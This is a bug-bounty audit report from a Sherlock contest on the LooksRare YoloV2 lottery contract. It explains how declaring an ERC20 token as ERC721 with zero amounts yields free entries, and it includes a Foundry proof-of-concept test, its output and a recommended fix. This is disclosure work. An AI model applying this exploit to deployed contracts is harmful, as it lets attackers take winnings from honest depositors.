User can get free entries if the price of any whitelisted ERC20 token is greater than the round's `valuePerEntry`
The contract does not enforce that a token's declared type matches its actual standard, so a user can deposit an ERC20 token while claiming it is an ERC721. Because the transfer call for ERC721 uses the same function signature as ERC20 and the user supplies zero amounts, the transfer succeeds without moving any tokens, granting free entries.
Kow Follow with bughuntoor and mert_eren
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-01-looksrare-judging/issues/4
Found by
Kow, bughuntoor, mert_eren
Summary
Lack of explicit separation between ERC20 and ERC721 deposits allows users to gain free entries for any round given there exists a whitelisted ERC20 token with price greater than the round's valuePerEntry.
Vulnerability Detail
When depositing tokens, users can specify whether the token type is ERC20 or ERC721. While the token address specified is checked against a whitelist, the token type specified is unrestricted. https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1092-L1094
if (isCurrencyAllowed[tokenAddress] != 1) {
revert InvalidCollection();
}
This means a user can specify ERC721 as the token type even if the token being deposited is an ERC20 token. A deposit of this nature does not need signed Reservoir price data if the price is already specified (ie. the token was deposited before as an ERC20 token). https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1096-L1100
if (singleDeposit.tokenType == YoloV2__TokenType.ERC721) {
if (price == 0) {
price = _getReservoirPrice(singleDeposit);
prices[tokenAddress][roundId] = price;
}
As long as the price of the token is greater than round.valuePerEntry, the entriesCount will be non-zero. At the time of writing, using the 0.01 ETH value used on the currently deployed Yolo contract, this is around USD$25.
https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1102-L1105
uint256 entriesCount = price / round.valuePerEntry;
if (entriesCount == 0) {
revert InvalidValue();
}
The user can specify an arbitrary length array for singleDeposit.tokenIdsOrAmounts filled with zeros (given this doesn't exceed the max deposit limit). This is what allows free entries by specifying zero transfers.
When the token is batch transferred by the transfer manager, a low level call to transferFrom on the specified token address is made.
https://github.com/LooksRare/contracts-transfer-manager/blob/9c337db4b9a8a197353393e98e9120b69e8d1fc6/contracts/TransferManager.sol#L205-L210
} else if (tokenType == TokenType.ERC721) {
for (uint256 j; j < itemIdsLengthForSingleCollection; ) {
...
_executeERC721TransferFrom(items[i].tokenAddress, from, to, itemIds[j]);
function _executeERC721TransferFrom(address collection, address from, address to, uint256 tokenId) internal {
...
(bool status, ) = collection.call(abi.encodeCall(IERC721.transferFrom, (from, to, tokenId)));
...
}
The function signature of transferFrom for ERC721 and ERC20 is identical, so this will call transferFrom on the ERC20 contract with amount = 0 (since 'token ids' specified in singleDeposit.tokenIdsOrAmounts are all 0). Consequently, the user pays nothing and the transaction executes successfully (as long as the ERC20 token does not revert on zero transfers).
Paste the test below into Yolo.deposit.t.sol with forge-std/console.sol imported. It demonstrates a user making 3 free deposits (in the same transaction) using the MKR token (ie. with zero MKR balance). The token used can be substituted with any token with price > valuePerEntry = 0.01 ETH (which is non-rebasing/non-taxable and has sufficient liquidity in their /ETH Uniswap v3 pool as specified in the README).
function test_freeDeposit() public {
// setup MKR token
address MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;
vm.prank(owner);
priceOracle.addOracle(MKR, 3000);
address[] memory currencies = new address[](1);
currencies[0] = MKR;
vm.prank(operator);
yolo.updateCurrenciesStatus(currencies, true);
uint256 mkrAmt = 1 ether;
// deposit MKR to ensure price is already set for the round
// this could be made by the same user making the free deposits with minimal token amount
deal(MKR, user4, mkrAmt);
IYoloV2.DepositCalldata[] memory dcd = new IYoloV2.DepositCalldata[](1);
dcd = new IYoloV2.DepositCalldata[](1);
dcd[0].tokenType = IYoloV2.YoloV2__TokenType.ERC20;
dcd[0].tokenAddress = MKR;
uint256[] memory amounts = new uint256[](1);
amounts[0] = mkrAmt;
dcd[0].tokenIdsOrAmounts = amounts;
_grantApprovalsToTransferManager(user4);
vm.startPrank(user4);
IERC20(MKR).approve(address(transferManager), mkrAmt);
yolo.deposit(1, dcd);
vm.stopPrank();
// now deposit MKR as ERC721
// user doesn't need MKR balance to deposit
assertEq(IERC20(MKR).balanceOf(user5), 0);
dcd[0].tokenType = IYoloV2.YoloV2__TokenType.ERC721;
// we can use an arbitrary amount of tokens (so long as we don't exceed max deposits), but we use 3 here
amounts = new uint256[](3);
dcd[0].tokenIdsOrAmounts = amounts;
// we don't need a floor price config if the price has already been set
_grantApprovalsToTransferManager(user5);
vm.prank(user5);
yolo.deposit(1, dcd);
IYoloV2.Deposit[] memory deposits = _getDeposits(1);
(, , , , , , , uint256 valuePerEntry, , ) = yolo.getRound(1);
uint256 mkrPrice = yolo.prices(MKR, 1);
// last currentEntryIndex should be 4x since first depositor used 1e18 MKR,
// and the free depositor effectively used 3e18 MKR
assertEq(deposits[3].currentEntryIndex, (mkrPrice / valuePerEntry) * 4);
console.log("Standard deposit");
console.log("Entry index after first deposit: ", deposits[0].currentEntryIndex);
console.log("Free deposits");
console.log("Entry index after second deposit: ", deposits[1].currentEntryIndex);
console.log("Entry index after third deposit: ", deposits[2].currentEntryIndex);
console.log("Entry index after fourth deposit: ", deposits[3].currentEntryIndex);
}
Output from running the test below.
Running 1 test for test/foundry/Yolo.deposit.t.sol:Yolo_Deposit_Test
[PASS] test_freeDeposit() (gas: 725484)
Logs:
Standard deposit
Entry index after first deposit: 88
Free deposits
Entry index after second deposit: 176
Entry index after third deposit: 264
Entry index after fourth deposit: 352
Impact
Users can get an arbitrary number of entries into rounds for free (which should generally allow them to significantly increase their chances of winning). In the case the winner is a free depositor, they will end up with the same profit as if they participated normally since they have to pay the fee over the total value of the deposits (which includes the price of their free deposits). If the winner is an honest depositor, they still have to pay the full fee including the free entries, but they are unable to claim the value for the free entries (since the tokenId (or amount) is zero). They earn less profit than if everyone had participated honestly.
Code Snippet
Tool used
Manual Review
Recommendation
Whitelist tokens using both the token address and the token type (ERC20/ERC721).
Discussion
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
takarez commented:
valid: high(3)
nevillehuang
See comments in #128
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The contract validates the token address against a whitelist but does not validate that the declared token type (ERC20 vs ERC721) matches the actual token standard, and the ERC721 transfer path uses a low-level call that succeeds with zero amounts on ERC20 tokens.
Impact
Users can get an arbitrary number of entries into rounds for free, significantly increasing their chances of winning; if an honest depositor wins, they pay fees on the free entries but cannot claim their value, earning less profit.
What the attacker needed
A whitelisted ERC20 token with price > valuePerEntry; the token's price already set for the round; the ERC20 token does not revert on zero transfers
The fix
Whitelist tokens using both the token address and the token type (ERC20/ERC721).
How it was found
- Ensure the ERC20 token's price is already set for the round by making a normal ERC20 deposit.
- Call deposit again, but set the token type to ERC721 for the same ERC20 token address.
- Provide an array of zero amounts as the token IDs.
- The transfer manager calls transferFrom on the ERC20 contract with zero amounts, which succeeds without moving tokens.
- The user receives entries based on the token's price divided by the round's valuePerEntry.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract lets people deposit tokens to enter a lottery-like round. It checks the token address against a list but does not check whether the token is really the type the user claims. By lying about the type and sending zero amounts, the user gets entries without paying anything.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.